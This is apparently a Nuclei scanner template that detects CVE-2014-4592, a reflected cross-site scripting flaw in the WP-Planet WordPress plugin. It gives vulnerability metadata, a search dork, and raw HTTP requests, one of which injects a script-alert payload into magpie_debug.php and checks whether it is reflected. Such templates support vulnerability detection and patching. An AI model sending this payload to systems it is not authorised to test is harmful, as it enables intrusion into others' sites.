id: CVE-2014-4592

info:
  name: WP Planet <= 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    A cross-site scripting vulnerability in rss.class/scripts/magpie_debug.php in the WP-Planet plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the url parameter.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of WP-Planet plugin that addresses this vulnerability or remove the vulnerable script.
  reference:
    - https://wpscan.com/vulnerability/3c9a3a97-8157-4976-8148-587d923e1fb3
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4592
    - http://codevigilant.com/disclosure/wp-plugin-wp-planet-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4592
    cwe-id: CWE-79
    epss-score: 0.03884
    epss-percentile: 0.88864
    cpe: cpe:2.3:a:czepol:wp-planet:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: czepol
    product: wp-planet
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-planet"
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,czepol,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins//wp-planet/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/wp-planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "WP Planet"

      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207fc30f9ca8122abfc35e46b0c098c15d9f3a869fc2b88f053ce592fbf0fe045f0221009cf4fffdd797f37f680c9ce7a417cfc5c9049081b9dd0a010700e4a6583a43e9:922c64590222798bb761d5b6d8e72950